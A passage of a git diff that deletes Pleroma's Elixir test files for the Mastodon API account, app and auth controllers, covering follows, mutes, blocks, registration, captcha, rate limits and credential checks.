json_response_and_validate_schema(:unauthorized) - - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{remote.id}/statuses") - |> json_response_and_validate_schema(:unauthorized) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - end - end - - describe "statuses with restrict unauthenticated profiles for local" do - setup do: local_and_remote_users() - setup :local_and_remote_activities - - setup do: clear_config([:restrict_unauthenticated, :profiles, :local], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{local.id}/statuses") - |> json_response_and_validate_schema(:unauthorized) - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - end - end - - describe "statuses with restrict unauthenticated profiles for remote" do - setup do: local_and_remote_users() - setup :local_and_remote_activities - - setup do: clear_config([:restrict_unauthenticated, :profiles, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - assert %{"error" => "This API requires an authenticated user"} == - conn - |> get("/api/v1/accounts/#{remote.id}/statuses") - |> json_response_and_validate_schema(:unauthorized) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/accounts/#{local.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - - res_conn = get(conn, "/api/v1/accounts/#{remote.id}/statuses") - assert length(json_response_and_validate_schema(res_conn, 200)) == 1 - end - end - - describe "followers" do - setup do: oauth_access(["read:accounts"]) - - test "getting followers", %{user: user, conn: conn} do - other_user = insert(:user) - {:ok, %{id: user_id}} = User.follow(user, other_user) - - conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers") - - assert [%{"id" => ^user_id}] = json_response_and_validate_schema(conn, 200) - end - - test "getting followers, hide_followers", %{user: user, conn: conn} do - other_user = insert(:user, hide_followers: true) - {:ok, _user} = User.follow(user, other_user) - - conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers") - - assert [] == json_response_and_validate_schema(conn, 200) - end - - test "getting followers, hide_followers, same user requesting" do - user = insert(:user) - other_user = insert(:user, hide_followers: true) - {:ok, _user} = User.follow(user, other_user) - - conn = - build_conn() - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) - |> get("/api/v1/accounts/#{other_user.id}/followers") - - refute [] == json_response_and_validate_schema(conn, 200) - end - - test "getting followers, pagination", %{user: user, conn: conn} do - {:ok, %User{id: follower1_id}} = :user |> insert() |> User.follow(user) - {:ok, %User{id: follower2_id}} = :user |> insert() |> User.follow(user) - {:ok, %User{id: follower3_id}} = :user |> insert() |> User.follow(user) - - assert [%{"id" => ^follower3_id}, %{"id" => ^follower2_id}] = - conn - |> get("/api/v1/accounts/#{user.id}/followers?since_id=#{follower1_id}") - |> json_response_and_validate_schema(200) - - assert [%{"id" => ^follower2_id}, %{"id" => ^follower1_id}] = - conn - |> get("/api/v1/accounts/#{user.id}/followers?max_id=#{follower3_id}") - |> json_response_and_validate_schema(200) - - assert [%{"id" => ^follower2_id}, %{"id" => ^follower1_id}] = - conn - |> get( - "/api/v1/accounts/#{user.id}/followers?id=#{user.id}&limit=20&max_id=#{ - follower3_id - }" - ) - |> json_response_and_validate_schema(200) - - res_conn = get(conn, "/api/v1/accounts/#{user.id}/followers?limit=1&max_id=#{follower3_id}") - - assert [%{"id" => ^follower2_id}] = json_response_and_validate_schema(res_conn, 200) - - assert [link_header] = get_resp_header(res_conn, "link") - assert link_header =~ ~r/min_id=#{follower2_id}/ - assert link_header =~ ~r/max_id=#{follower2_id}/ - end - end - - describe "following" do - setup do: oauth_access(["read:accounts"]) - - test "getting following", %{user: user, conn: conn} do - other_user = insert(:user) - {:ok, user} = User.follow(user, other_user) - - conn = get(conn, "/api/v1/accounts/#{user.id}/following") - - assert [%{"id" => id}] = json_response_and_validate_schema(conn, 200) - assert id == to_string(other_user.id) - end - - test "getting following, hide_follows, other user requesting" do - user = insert(:user, hide_follows: true) - other_user = insert(:user) - {:ok, user} = User.follow(user, other_user) - - conn = - build_conn() - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) - |> get("/api/v1/accounts/#{user.id}/following") - - assert [] == json_response_and_validate_schema(conn, 200) - end - - test "getting following, hide_follows, same user requesting" do - user = insert(:user, hide_follows: true) - other_user = insert(:user) - {:ok, user} = User.follow(user, other_user) - - conn = - build_conn() - |> assign(:user, user) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["read:accounts"])) - |> get("/api/v1/accounts/#{user.id}/following") - - refute [] == json_response_and_validate_schema(conn, 200) - end - - test "getting following, pagination", %{user: user, conn: conn} do - following1 = insert(:user) - following2 = insert(:user) - following3 = insert(:user) - {:ok, _} = User.follow(user, following1) - {:ok, _} = User.follow(user, following2) - {:ok, _} = User.follow(user, following3) - - res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?since_id=#{following1.id}") - - assert [%{"id" => id3}, %{"id" => id2}] = json_response_and_validate_schema(res_conn, 200) - assert id3 == following3.id - assert id2 == following2.id - - res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?max_id=#{following3.id}") - - assert [%{"id" => id2}, %{"id" => id1}] = json_response_and_validate_schema(res_conn, 200) - assert id2 == following2.id - assert id1 == following1.id - - res_conn = - get( - conn, - "/api/v1/accounts/#{user.id}/following?id=#{user.id}&limit=20&max_id=#{following3.id}" - ) - - assert [%{"id" => id2}, %{"id" => id1}] = json_response_and_validate_schema(res_conn, 200) - assert id2 == following2.id - assert id1 == following1.id - - res_conn = - get(conn, "/api/v1/accounts/#{user.id}/following?limit=1&max_id=#{following3.id}") - - assert [%{"id" => id2}] = json_response_and_validate_schema(res_conn, 200) - assert id2 == following2.id - - assert [link_header] = get_resp_header(res_conn, "link") - assert link_header =~ ~r/min_id=#{following2.id}/ - assert link_header =~ ~r/max_id=#{following2.id}/ - end - end - - describe "follow/unfollow" do - setup do: oauth_access(["follow"]) - - test "following / unfollowing a user", %{conn: conn} do - %{id: other_user_id, nickname: other_user_nickname} = insert(:user) - - assert %{"id" => _id, "following" => true} = - conn - |> post("/api/v1/accounts/#{other_user_id}/follow") - |> json_response_and_validate_schema(200) - - assert %{"id" => _id, "following" => false} = - conn - |> post("/api/v1/accounts/#{other_user_id}/unfollow") - |> json_response_and_validate_schema(200) - - assert %{"id" => ^other_user_id} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/follows", %{"uri" => other_user_nickname}) - |> json_response_and_validate_schema(200) - end - - test "cancelling follow request", %{conn: conn} do - %{id: other_user_id} = insert(:user, %{locked: true}) - - assert %{"id" => ^other_user_id, "following" => false, "requested" => true} = - conn - |> post("/api/v1/accounts/#{other_user_id}/follow") - |> json_response_and_validate_schema(:ok) - - assert %{"id" => ^other_user_id, "following" => false, "requested" => false} = - conn - |> post("/api/v1/accounts/#{other_user_id}/unfollow") - |> json_response_and_validate_schema(:ok) - end - - test "following without reblogs" do - %{conn: conn} = oauth_access(["follow", "read:statuses"]) - followed = insert(:user) - other_user = insert(:user) - - ret_conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: false}) - - assert %{"showing_reblogs" => false} = json_response_and_validate_schema(ret_conn, 200) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) - {:ok, %{id: reblog_id}} = CommonAPI.repeat(activity.id, followed) - - assert [] == - conn - |> get("/api/v1/timelines/home") - |> json_response(200) - - assert %{"showing_reblogs" => true} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: true}) - |> json_response_and_validate_schema(200) - - assert [%{"id" => ^reblog_id}] = - conn - |> get("/api/v1/timelines/home") - |> json_response(200) - end - - test "following with reblogs" do - %{conn: conn} = oauth_access(["follow", "read:statuses"]) - followed = insert(:user) - other_user = insert(:user) - - ret_conn = post(conn, "/api/v1/accounts/#{followed.id}/follow") - - assert %{"showing_reblogs" => true} = json_response_and_validate_schema(ret_conn, 200) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "hey"}) - {:ok, %{id: reblog_id}} = CommonAPI.repeat(activity.id, followed) - - assert [%{"id" => ^reblog_id}] = - conn - |> get("/api/v1/timelines/home") - |> json_response(200) - - assert %{"showing_reblogs" => false} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: false}) - |> json_response_and_validate_schema(200) - - assert [] == - conn - |> get("/api/v1/timelines/home") - |> json_response(200) - end - - test "following / unfollowing errors", %{user: user, conn: conn} do - # self follow - conn_res = post(conn, "/api/v1/accounts/#{user.id}/follow") - - assert %{"error" => "Can not follow yourself"} = - json_response_and_validate_schema(conn_res, 400) - - # self unfollow - user = User.get_cached_by_id(user.id) - conn_res = post(conn, "/api/v1/accounts/#{user.id}/unfollow") - - assert %{"error" => "Can not unfollow yourself"} = - json_response_and_validate_schema(conn_res, 400) - - # self follow via uri - user = User.get_cached_by_id(user.id) - - assert %{"error" => "Can not follow yourself"} = - conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/follows", %{"uri" => user.nickname}) - |> json_response_and_validate_schema(400) - - # follow non existing user - conn_res = post(conn, "/api/v1/accounts/doesntexist/follow") - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) - - # follow non existing user via uri - conn_res = - conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/follows", %{"uri" => "doesntexist"}) - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) - - # unfollow non existing user - conn_res = post(conn, "/api/v1/accounts/doesntexist/unfollow") - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404) - end - end - - describe "mute/unmute" do - setup do: oauth_access(["write:mutes"]) - - test "with notifications", %{conn: conn} do - other_user = insert(:user) - - assert %{"id" => _id, "muting" => true, "muting_notifications" => true} = - conn - |> post("/api/v1/accounts/#{other_user.id}/mute") - |> json_response_and_validate_schema(200) - - conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute") - - assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = - json_response_and_validate_schema(conn, 200) - end - - test "without notifications", %{conn: conn} do - other_user = insert(:user) - - ret_conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/accounts/#{other_user.id}/mute", %{"notifications" => "false"}) - - assert %{"id" => _id, "muting" => true, "muting_notifications" => false} = - json_response_and_validate_schema(ret_conn, 200) - - conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute") - - assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = - json_response_and_validate_schema(conn, 200) - end - end - - describe "pinned statuses" do - setup do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) - %{conn: conn} = oauth_access(["read:statuses"], user: user) - - [conn: conn, user: user, activity: activity] - end - - test "returns pinned statuses", %{conn: conn, user: user, activity: %{id: activity_id}} do - {:ok, _} = CommonAPI.pin(activity_id, user) - - assert [%{"id" => ^activity_id, "pinned" => true}] = - conn - |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") - |> json_response_and_validate_schema(200) - end - end - - test "blocking / unblocking a user" do - %{conn: conn} = oauth_access(["follow"]) - other_user = insert(:user) - - ret_conn = post(conn, "/api/v1/accounts/#{other_user.id}/block") - - assert %{"id" => _id, "blocking" => true} = json_response_and_validate_schema(ret_conn, 200) - - conn = post(conn, "/api/v1/accounts/#{other_user.id}/unblock") - - assert %{"id" => _id, "blocking" => false} = json_response_and_validate_schema(conn, 200) - end - - describe "create account by app" do - setup do - valid_params = %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - agreement: true - } - - [valid_params: valid_params] - end - - test "registers and logs in without :account_activation_required / :account_approval_required", - %{conn: conn} do - clear_config([:instance, :account_activation_required], false) - clear_config([:instance, :account_approval_required], false) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/apps", %{ - client_name: "client_name", - redirect_uris: "urn:ietf:wg:oauth:2.0:oob", - scopes: "read, write, follow" - }) - - assert %{ - "client_id" => client_id, - "client_secret" => client_secret, - "id" => _, - "name" => "client_name", - "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", - "vapid_key" => _, - "website" => nil - } = json_response_and_validate_schema(conn, 200) - - conn = - post(conn, "/oauth/token", %{ - grant_type: "client_credentials", - client_id: client_id, - client_secret: client_secret - }) - - assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = - json_response(conn, 200) - - assert token - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - assert refresh - assert scope == "read write follow" - - clear_config([User, :email_blacklist], ["example.org"]) - - params = %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - bio: "Test Bio", - agreement: true - } - - conn = - build_conn() - |> put_req_header("content-type", "multipart/form-data") - |> put_req_header("authorization", "Bearer " <> token) - |> post("/api/v1/accounts", params) - - assert %{"error" => "{\"email\":[\"Invalid email\"]}"} = - json_response_and_validate_schema(conn, 400) - - Pleroma.Config.put([User, :email_blacklist], []) - - conn = - build_conn() - |> put_req_header("content-type", "multipart/form-data") - |> put_req_header("authorization", "Bearer " <> token) - |> post("/api/v1/accounts", params) - - %{ - "access_token" => token, - "created_at" => _created_at, - "scope" => ^scope, - "token_type" => "Bearer" - } = json_response_and_validate_schema(conn, 200) - - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - user = Repo.preload(token_from_db, :user).user - - assert user - refute user.confirmation_pending - refute user.approval_pending - end - - test "registers but does not log in with :account_activation_required", %{conn: conn} do - clear_config([:instance, :account_activation_required], true) - clear_config([:instance, :account_approval_required], false) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/apps", %{ - client_name: "client_name", - redirect_uris: "urn:ietf:wg:oauth:2.0:oob", - scopes: "read, write, follow" - }) - - assert %{ - "client_id" => client_id, - "client_secret" => client_secret, - "id" => _, - "name" => "client_name", - "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", - "vapid_key" => _, - "website" => nil - } = json_response_and_validate_schema(conn, 200) - - conn = - post(conn, "/oauth/token", %{ - grant_type: "client_credentials", - client_id: client_id, - client_secret: client_secret - }) - - assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = - json_response(conn, 200) - - assert token - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - assert refresh - assert scope == "read write follow" - - conn = - build_conn() - |> put_req_header("content-type", "multipart/form-data") - |> put_req_header("authorization", "Bearer " <> token) - |> post("/api/v1/accounts", %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - bio: "Test Bio", - agreement: true - }) - - response = json_response_and_validate_schema(conn, 200) - assert %{"identifier" => "missing_confirmed_email"} = response - refute response["access_token"] - refute response["token_type"] - - user = Repo.get_by(User, email: "lain@example.org") - assert user.confirmation_pending - end - - test "registers but does not log in with :account_approval_required", %{conn: conn} do - clear_config([:instance, :account_approval_required], true) - clear_config([:instance, :account_activation_required], false) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/apps", %{ - client_name: "client_name", - redirect_uris: "urn:ietf:wg:oauth:2.0:oob", - scopes: "read, write, follow" - }) - - assert %{ - "client_id" => client_id, - "client_secret" => client_secret, - "id" => _, - "name" => "client_name", - "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", - "vapid_key" => _, - "website" => nil - } = json_response_and_validate_schema(conn, 200) - - conn = - post(conn, "/oauth/token", %{ - grant_type: "client_credentials", - client_id: client_id, - client_secret: client_secret - }) - - assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = - json_response(conn, 200) - - assert token - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - assert refresh - assert scope == "read write follow" - - conn = - build_conn() - |> put_req_header("content-type", "multipart/form-data") - |> put_req_header("authorization", "Bearer " <> token) - |> post("/api/v1/accounts", %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - bio: "Test Bio", - agreement: true, - reason: "I'm a cool dude, bro" - }) - - response = json_response_and_validate_schema(conn, 200) - assert %{"identifier" => "awaiting_approval"} = response - refute response["access_token"] - refute response["token_type"] - - user = Repo.get_by(User, email: "lain@example.org") - - assert user.approval_pending - assert user.registration_reason == "I'm a cool dude, bro" - end - - test "returns error when user already registred", %{conn: conn, valid_params: valid_params} do - _user = insert(:user, email: "lain@example.org") - app_token = insert(:oauth_token, user: nil) - - res = - conn - |> put_req_header("authorization", "Bearer " <> app_token.token) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/accounts", valid_params) - - assert json_response_and_validate_schema(res, 400) == %{ - "error" => "{\"email\":[\"has already been taken\"]}" - } - end - - test "returns bad_request if missing required params", %{ - conn: conn, - valid_params: valid_params - } do - app_token = insert(:oauth_token, user: nil) - - conn = - conn - |> put_req_header("authorization", "Bearer " <> app_token.token) - |> put_req_header("content-type", "application/json") - - res = post(conn, "/api/v1/accounts", valid_params) - assert json_response_and_validate_schema(res, 200) - - [{127, 0, 0, 1}, {127, 0, 0, 2}, {127, 0, 0, 3}, {127, 0, 0, 4}] - |> Stream.zip(Map.delete(valid_params, :email)) - |> Enum.each(fn {ip, {attr, _}} -> - res = - conn - |> Map.put(:remote_ip, ip) - |> post("/api/v1/accounts", Map.delete(valid_params, attr)) - |> json_response_and_validate_schema(400) - - assert res == %{ - "error" => "Missing field: #{attr}.", - "errors" => [ - %{ - "message" => "Missing field: #{attr}", - "source" => %{"pointer" => "/#{attr}"}, - "title" => "Invalid value" - } - ] - } - end) - end - - test "returns bad_request if missing email params when :account_activation_required is enabled", - %{conn: conn, valid_params: valid_params} do - clear_config([:instance, :account_activation_required], true) - - app_token = insert(:oauth_token, user: nil) - - conn = - conn - |> put_req_header("authorization", "Bearer " <> app_token.token) - |> put_req_header("content-type", "application/json") - - res = - conn - |> Map.put(:remote_ip, {127, 0, 0, 5}) - |> post("/api/v1/accounts", Map.delete(valid_params, :email)) - - assert json_response_and_validate_schema(res, 400) == - %{"error" => "Missing parameter: email"} - - res = - conn - |> Map.put(:remote_ip, {127, 0, 0, 6}) - |> post("/api/v1/accounts", Map.put(valid_params, :email, "")) - - assert json_response_and_validate_schema(res, 400) == %{ - "error" => "{\"email\":[\"can't be blank\"]}" - } - end - - test "allow registration without an email", %{conn: conn, valid_params: valid_params} do - app_token = insert(:oauth_token, user: nil) - conn = put_req_header(conn, "authorization", "Bearer " <> app_token.token) - - res = - conn - |> put_req_header("content-type", "application/json") - |> Map.put(:remote_ip, {127, 0, 0, 7}) - |> post("/api/v1/accounts", Map.delete(valid_params, :email)) - - assert json_response_and_validate_schema(res, 200) - end - - test "allow registration with an empty email", %{conn: conn, valid_params: valid_params} do - app_token = insert(:oauth_token, user: nil) - conn = put_req_header(conn, "authorization", "Bearer " <> app_token.token) - - res = - conn - |> put_req_header("content-type", "application/json") - |> Map.put(:remote_ip, {127, 0, 0, 8}) - |> post("/api/v1/accounts", Map.put(valid_params, :email, "")) - - assert json_response_and_validate_schema(res, 200) - end - - test "returns forbidden if token is invalid", %{conn: conn, valid_params: valid_params} do - res = - conn - |> put_req_header("authorization", "Bearer " <> "invalid-token") - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/accounts", valid_params) - - assert json_response_and_validate_schema(res, 403) == %{"error" => "Invalid credentials"} - end - - test "registration from trusted app" do - clear_config([Pleroma.Captcha, :enabled], true) - app = insert(:oauth_app, trusted: true, scopes: ["read", "write", "follow", "push"]) - - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "client_credentials", - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token, "token_type" => "Bearer"} = json_response(conn, 200) - - response = - build_conn() - |> Plug.Conn.put_req_header("authorization", "Bearer " <> token) - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/v1/accounts", %{ - nickname: "nickanme", - agreement: true, - email: "email@example.com", - fullname: "Lain", - username: "Lain", - password: "some_password", - confirm: "some_password" - }) - |> json_response_and_validate_schema(200) - - assert %{ - "access_token" => access_token, - "created_at" => _, - "scope" => "read write follow push", - "token_type" => "Bearer" - } = response - - response = - build_conn() - |> Plug.Conn.put_req_header("authorization", "Bearer " <> access_token) - |> get("/api/v1/accounts/verify_credentials") - |> json_response_and_validate_schema(200) - - assert %{ - "acct" => "Lain", - "bot" => false, - "display_name" => "Lain", - "follow_requests_count" => 0, - "followers_count" => 0, - "following_count" => 0, - "locked" => false, - "note" => "", - "source" => %{ - "fields" => [], - "note" => "", - "pleroma" => %{ - "actor_type" => "Person", - "discoverable" => false, - "no_rich_text" => false, - "show_role" => true - }, - "privacy" => "public", - "sensitive" => false - }, - "statuses_count" => 0, - "username" => "Lain" - } = response - end - end - - describe "create account by app / rate limit" do - setup do: clear_config([:rate_limit, :app_account_creation], {10_000, 2}) - - test "respects rate limit setting", %{conn: conn} do - app_token = insert(:oauth_token, user: nil) - - conn = - conn - |> put_req_header("authorization", "Bearer " <> app_token.token) - |> Map.put(:remote_ip, {15, 15, 15, 15}) - |> put_req_header("content-type", "multipart/form-data") - - for i <- 1..2 do - conn = - conn - |> post("/api/v1/accounts", %{ - username: "#{i}lain", - email: "#{i}lain@example.org", - password: "PlzDontHackLain", - agreement: true - }) - - %{ - "access_token" => token, - "created_at" => _created_at, - "scope" => _scope, - "token_type" => "Bearer" - } = json_response_and_validate_schema(conn, 200) - - token_from_db = Repo.get_by(Token, token: token) - assert token_from_db - token_from_db = Repo.preload(token_from_db, :user) - assert token_from_db.user - end - - conn = - post(conn, "/api/v1/accounts", %{ - username: "6lain", - email: "6lain@example.org", - password: "PlzDontHackLain", - agreement: true - }) - - assert json_response_and_validate_schema(conn, :too_many_requests) == %{ - "error" => "Throttled" - } - end - end - - describe "create account with enabled captcha" do - setup %{conn: conn} do - app_token = insert(:oauth_token, user: nil) - - conn = - conn - |> put_req_header("authorization", "Bearer " <> app_token.token) - |> put_req_header("content-type", "multipart/form-data") - - [conn: conn] - end - - setup do: clear_config([Pleroma.Captcha, :enabled], true) - - test "creates an account and returns 200 if captcha is valid", %{conn: conn} do - %{token: token, answer_data: answer_data} = Pleroma.Captcha.new() - - params = %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - agreement: true, - captcha_solution: Pleroma.Captcha.Mock.solution(), - captcha_token: token, - captcha_answer_data: answer_data - } - - assert %{ - "access_token" => access_token, - "created_at" => _, - "scope" => "read", - "token_type" => "Bearer" - } = - conn - |> post("/api/v1/accounts", params) - |> json_response_and_validate_schema(:ok) - - assert Token |> Repo.get_by(token: access_token) |> Repo.preload(:user) |> Map.get(:user) - - Cachex.del(:used_captcha_cache, token) - end - - test "returns 400 if any captcha field is not provided", %{conn: conn} do - captcha_fields = [:captcha_solution, :captcha_token, :captcha_answer_data] - - valid_params = %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - agreement: true, - captcha_solution: "xx", - captcha_token: "xx", - captcha_answer_data: "xx" - } - - for field <- captcha_fields do - expected = %{ - "error" => "{\"captcha\":[\"Invalid CAPTCHA (Missing parameter: #{field})\"]}" - } - - assert expected == - conn - |> post("/api/v1/accounts", Map.delete(valid_params, field)) - |> json_response_and_validate_schema(:bad_request) - end - end - - test "returns an error if captcha is invalid", %{conn: conn} do - params = %{ - username: "lain", - email: "lain@example.org", - password: "PlzDontHackLain", - agreement: true, - captcha_solution: "cofe", - captcha_token: "cofe", - captcha_answer_data: "cofe" - } - - assert %{"error" => "{\"captcha\":[\"Invalid answer data\"]}"} == - conn - |> post("/api/v1/accounts", params) - |> json_response_and_validate_schema(:bad_request) - end - end - - describe "GET /api/v1/accounts/:id/lists - account_lists" do - test "returns lists to which the account belongs" do - %{user: user, conn: conn} = oauth_access(["read:lists"]) - other_user = insert(:user) - assert {:ok, %Pleroma.List{id: list_id} = list} = Pleroma.List.create("Test List", user) - {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) - - assert [%{"id" => list_id, "title" => "Test List"}] = - conn - |> get("/api/v1/accounts/#{other_user.id}/lists") - |> json_response_and_validate_schema(200) - end - end - - describe "verify_credentials" do - test "verify_credentials" do - %{user: user, conn: conn} = oauth_access(["read:accounts"]) - - [notification | _] = - insert_list(7, :notification, user: user, activity: insert(:note_activity)) - - Pleroma.Notification.set_read_up_to(user, notification.id) - conn = get(conn, "/api/v1/accounts/verify_credentials") - - response = json_response_and_validate_schema(conn, 200) - - assert %{"id" => id, "source" => %{"privacy" => "public"}} = response - assert response["pleroma"]["chat_token"] - assert response["pleroma"]["unread_notifications_count"] == 6 - assert id == to_string(user.id) - end - - test "verify_credentials default scope unlisted" do - user = insert(:user, default_scope: "unlisted") - %{conn: conn} = oauth_access(["read:accounts"], user: user) - - conn = get(conn, "/api/v1/accounts/verify_credentials") - - assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = - json_response_and_validate_schema(conn, 200) - - assert id == to_string(user.id) - end - - test "locked accounts" do - user = insert(:user, default_scope: "private") - %{conn: conn} = oauth_access(["read:accounts"], user: user) - - conn = get(conn, "/api/v1/accounts/verify_credentials") - - assert %{"id" => id, "source" => %{"privacy" => "private"}} = - json_response_and_validate_schema(conn, 200) - - assert id == to_string(user.id) - end - end - - describe "user relationships" do - setup do: oauth_access(["read:follows"]) - - test "returns the relationships for the current user", %{user: user, conn: conn} do - %{id: other_user_id} = other_user = insert(:user) - {:ok, _user} = User.follow(user, other_user) - - assert [%{"id" => ^other_user_id}] = - conn - |> get("/api/v1/accounts/relationships?id=#{other_user.id}") - |> json_response_and_validate_schema(200) - - assert [%{"id" => ^other_user_id}] = - conn - |> get("/api/v1/accounts/relationships?id[]=#{other_user.id}") - |> json_response_and_validate_schema(200) - end - - test "returns an empty list on a bad request", %{conn: conn} do - conn = get(conn, "/api/v1/accounts/relationships", %{}) - - assert [] = json_response_and_validate_schema(conn, 200) - end - end - - test "getting a list of mutes" do - %{user: user, conn: conn} = oauth_access(["read:mutes"]) - other_user = insert(:user) - - {:ok, _user_relationships} = User.mute(user, other_user) - - conn = get(conn, "/api/v1/mutes") - - other_user_id = to_string(other_user.id) - assert [%{"id" => ^other_user_id}] = json_response_and_validate_schema(conn, 200) - end - - test "getting a list of blocks" do - %{user: user, conn: conn} = oauth_access(["read:blocks"]) - other_user = insert(:user) - - {:ok, _user_relationship} = User.block(user, other_user) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/blocks") - - other_user_id = to_string(other_user.id) - assert [%{"id" => ^other_user_id}] = json_response_and_validate_schema(conn, 200) - end -end diff --git a/test/web/mastodon_api/controllers/app_controller_test.exs b/test/web/mastodon_api/controllers/app_controller_test.exs deleted file mode 100644 index a0b8b126c..000000000 --- a/test/web/mastodon_api/controllers/app_controller_test.exs +++ /dev/null @@ -1,60 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.AppControllerTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Repo - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.Push - - import Pleroma.Factory - - test "apps/verify_credentials", %{conn: conn} do - token = insert(:oauth_token) - - conn = - conn - |> put_req_header("authorization", "Bearer #{token.token}") - |> get("/api/v1/apps/verify_credentials") - - app = Repo.preload(token, :app).app - - expected = %{ - "name" => app.client_name, - "website" => app.website, - "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key) - } - - assert expected == json_response_and_validate_schema(conn, 200) - end - - test "creates an oauth app", %{conn: conn} do - user = insert(:user) - app_attrs = build(:oauth_app) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> assign(:user, user) - |> post("/api/v1/apps", %{ - client_name: app_attrs.client_name, - redirect_uris: app_attrs.redirect_uris - }) - - [app] = Repo.all(App) - - expected = %{ - "name" => app.client_name, - "website" => app.website, - "client_id" => app.client_id, - "client_secret" => app.client_secret, - "id" => app.id |> to_string(), - "redirect_uri" => app.redirect_uris, - "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key) - } - - assert expected == json_response_and_validate_schema(conn, 200) - end -end diff --git a/test/web/mastodon_api/controllers/auth_controller_test.exs b/test/web/mastodon_api/controllers/auth_controller_test.exs deleted file mode 100644 index bf2438fe2..000000000 --- a/test/web/mastodon_api/controllers/auth_controller_test.exs +++ /dev/null @@ -1,159 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.AuthControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Config - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - - import Pleroma.Factory - import Swoosh.TestAssertions - - describe "GET /web/login" do - setup %{conn: conn} do - session_opts = [ - store: :cookie, - 